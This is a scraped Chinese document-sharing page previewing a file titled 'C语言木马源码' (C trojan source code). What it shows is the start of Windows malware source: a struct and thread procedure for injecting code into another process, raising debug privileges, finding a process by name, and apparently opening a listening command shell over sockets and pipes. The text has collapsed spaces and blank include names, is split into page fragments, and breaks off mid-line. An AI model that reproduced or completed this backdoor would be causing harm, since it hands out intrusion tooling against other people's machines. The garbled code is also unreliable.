C语言木马源码.doc

《C语言木马源码.doc》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、C语言木马源码很值得研究#include#pragmacomment(lib,"ws2_32.lib")#include#include#pragmacomment(lib,"Shlwapi.lib")#include#include#include//参数结构;typedefstruct_RemotePara{DWORDdwLoadLibrary;DWORDdwFreeLibrary;DWORDdwGetProcAddre

2、ss;DWORDdwGetModuleHandle;DWORDdwWSAStartup;DWORDdwSocket;DWORDdwhtons;DWORDdwbind;DWORDdwlisten;DWORDdwaccept;DWORDdwsend;DWORDdwrecv;DWORDdwclosesocket;DWORDdwCreateProcessA;DWORDdwPeekNamedPipe;DWORDdwWriteFile;DWORDdwReadFile;DWORDdwCloseHandle;DWORDdwCreatePipe;DWORDdwTermi

3、nateProcess;DWORDdwMessageBox;charstrMessageBox[12];charwinsockDll[16];charcmd[10];charBuff[4096];chartelnetmsg[60];}RemotePara;//提升应用级调试权限BOOLEnablePrivilege(HANDLEhToken,LPCTSTRszPrivName,BOOLfEnable);//根据进程名称得到进程IDDWORDGetPidByName(char*szName);//远程线程执行体DWORD__stdcallThreadPr

4、oc(RemotePara*Para){WSADATAWSAData;WORDnVersion;SOCKETlistenSocket;SOCKETclientSocket;structsockaddr_inserver_addr;structsockaddr_inclient_addr;intiAddrSize=sizeof(client_addr);SECURITY_ATTRIBUTESsa;HANDLEhReadPipe1;HANDLEhWritePipe1;HANDLEhReadPipe2;HANDLEhWritePipe2;STARTUPINF

5、Osi;PROCESS_INFORMATIONProcessInformation;unsignedlonglBytesRead=0;typedefHINSTANCE(__stdcall*PLoadLibrary)(char*);typedefFARPROC(__stdcall*PGetProcAddress)(HMODULE,LPCSTR);typedefHINSTANCE(__stdcall*PFreeLibrary)(HINSTANCE);typedefHINSTANCE(__stdcall*PGetModuleHandle)(HMODULE);

6、FARPROCPMessageBoxA;FARPROCPWSAStartup;FARPROCPSocket;FARPROCPhtons;FARPROCPbind;FARPROCPlisten;FARPROCPaccept;FARPROCPsend;FARPROCPrecv;FARPROCPclosesocket;FARPROCPCreateProcessA;FARPROCPPeekNamedPipe;FARPROCPWriteFile;FARPROCPReadFile;FARPROCPCloseHandle;FARPROCPCreatePipe;FAR

7、PROCPTerminateProcess;PLoadLibraryLoadLibraryFunc=(PLoadLibrary)Para->dwLoadLibrary;PGetProcAddressGetProcAddressFunc=(PGetProcAddress)Para->dwGetProcAddress;PFreeLibraryFreeLibraryFunc=(PFreeLibrary)Para->dwFreeLibrary;PGetModuleHandleGetModuleHandleFunc=(PGetModuleHandle)Para-

8、>dwGetModuleHandle;LoadLibraryFunc(Para->winsoc